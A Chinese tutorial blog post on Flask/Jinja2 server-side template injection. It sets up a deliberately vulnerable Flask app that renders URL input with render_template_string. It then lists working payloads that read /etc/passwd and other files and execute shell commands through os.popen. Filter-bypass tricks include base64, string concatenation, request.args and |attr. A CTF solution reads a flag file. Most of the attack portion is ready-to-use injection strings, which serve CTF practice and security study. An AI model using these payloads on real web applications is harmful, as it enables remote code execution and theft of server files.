(精编)Python与安全(三)SSTI服务器模板注入
此文章为原创连载文章,关注公众号,持续更新。
SSTI基本判断
Python中的魔术方法
__dict__保存类实例或对象实例的属性变量键值对字典
__class__返回类实例或对象实例所属的对象
__mro__返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。
__bases__返回类所继承的基类。但不包含所继承类的父类。
__init__类的初始化方法
__globals__对包含函数全局变量的引用
__subclasses__()获取一个类的子类,返回的是一个列表
下面是示例,自己可以运行一下看看,会理解的更快(我运行环境是3.7的)
class people:
name = ''
age = 0
__weight = 0
def __init__(self, n, a, w):
self.name = n
self.age = a
self.__weight = w
def speak(self):
pass
class student(people):
grade = ''
def __init__(self, n, a, w, g):
people.__init__(self, n, a, w)
self.grade = g
def speak(self):
pass
class speaker():
topic = ''
name = ''
def __init__(self, n, t):
self.name = n
self.topic = t
def speak(self):
pass
class sample(speaker, student):
a = ''
def __init__(self, n, a, w, g, t):
student.__init__(self, n, a, w, g)
speaker.__init__(self, n, t)
test = sample("Tim", 25, 80, 4, "Python")
#测试
print(test.__dict__)
print(test.__class__)
print(sample.__mro__)
print(sample.__bases__)
print(sample.__init__)
print(sample.speak.__globals__)
print(sample.__init__.__globals__)
print(speaker.__subclasses__())
print(sample.__subclasses__())
Python注入语句
以下语句均在python3.7.7环境中测试。
测试脚本:
# -*- coding:utf8 -*-
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/<str>')
def hello_world(str):
template = '''
{%% block body %%}
<div>
<h1>Here is test!!!</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
'''%(str)
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0')
1 获取基本类
首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如flask.request):
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
2 文件读取
<class '_frozen_importlib._ModuleLock'>
{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}
上面的''.__class__.__mro__[1].__subclasses__()[75]等于
<class '_frozen_importlib._ModuleLock'>,下面同理。
<class 'click.utils.LazyFile'>
{{ ''.__class__.__mro__[1].__subclasses__()[345]('test.txt').read()}}
3 命令执行
<class 'warnings.catch_warnings'>
{{ ''.__class__.__mro__[1].__subclasses__()[183].__init__.__globals__.values()['eval']('__import__("os").popen('id').read()') }}
<class '_frozen_importlib._ModuleLock'>
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
#eval
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
代码注入
我们可以参考P神的文章(https://github.com/vulhub/vulhub/tree/master/flask/ssti)
p神构造的语句:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
其实我们我们也可以参考上面自己代码自己写。
在上面的注入语句中,虽然简短,但是在不同版本的python中就会有一下差别,所以不能完全的通用,但是代码注入这不需要太多考虑python版本问题。
比如我们可以把文件读取语句写成代码:
示例:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_ModuleLock' %}
{% for b in c.__init__.__globals__ %}
{%if b =='__builtins__' %}
{% print(c.__init__.__globals__['__builtins__']['open']('test.txt').read()) %}
{%endif%}
{% endfor %}
{% endif %}
{% endfor %}
自己可以动手试试。
常用绕过
1 过滤[]和.
只过滤[]
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(1).__subclasses__().pop(40)('/etc/passwd').read()
若.也被过滤,使用原生JinJa2函数|attr()
将request.__class__改成request|attr("__class__")
2 过滤_
利用request.args属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参
3 关键字过滤
(1) base64编码绕过
__getattribute__使用实例访问属性时,调用该方法
例如被过滤掉__class__关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
(2)字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
(3)使用session
poc{{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}
4 过滤{{
使用{% if ...%}1{% endif %},例如
{%if’’.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()%}1{% endif %}
5 Tips
(1)使用__base__
如`{}.__class__.__base__`
和`{}.__class__.__bases__[0]`效果一样
(2)可用于访问对象的属性:
request.__class__
request["__class__"]
request|attr("__class__")
(3)下面方法访问数组元素:
array[0]
array.pop(0)
array.__getitem__(2)
案例分析
案例是GYCT2020的FlaskAPP,可以到BUUCTF(https://buuoj.cn/challenges)中找到题目。
可以直接利用P神写的POC进行getshell,但有过滤,可以拆分关键词进行绕过:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fla'+'g.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
先对上面的POC进行base64加密再解密:
参考:
https://www.cnblogs.com/20175211lyz/p/11425368.html
https://xz.aliyun.com/t/3679#toc-11
https://www.smi1e.top/flask-jinja2-ssti-%E5%AD%A6%E4%B9%A0/
- 学习分享 | Padding Oracle
- FastJson 反序列化注意事项
- Python编写渗透工具学习笔记二 | 0x05编写脚本劫持tcp会话
- linux下socket编程
- java与openssl的rsa算法互
- Python编写渗透工具学习笔记二 | 0x04编写程序分析流量检测ddos攻击
- Python编写渗透工具学习笔记二 | 0x03用python构建ssh僵尸网络
- Python编写渗透工具学习笔记二 | 0x02利用FTP与web批量抓肉鸡
- linux 网络编程之信号机制
- im4java + imagemagic 搭建一个图片处理服务
- # Java 一步一步实现高逼格的字符串替换工具(二)
- 专题 | Python编写渗透工具学习笔记二
- Java 一步一步实现高逼格的字符串替换工具(一)
- Python编写渗透工具学习笔记一 | 0x05抓取应用的banner --推断服务
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- django实战(二)--带多字段模糊查询的分页(也是不容易)
- 【python实现卷积神经网络】Dropout层实现
- 【python实现卷积神经网络】激活层实现
- django实战(三)--删除和批量删除
- 【python实现卷积神经网络】定义训练和测试过程
- 最短路径算法java
- django实战(四)--修改数据
- Shiro框架学习笔记(三)与web集成之后进行简单的身份验证
- 【python实现卷积神经网络】卷积层Conv2D实现(带stride、padding)
- reduce学习笔记
- 【python实现卷积神经网络】开始训练
- django实战(五)--增加数据
- 实战django(一)--(你也能看懂的)注册与登录(带前端模板)
- 【python-leetcode23-多路归并】合并k个排序链表
- 实战django(二)--登录实现记住我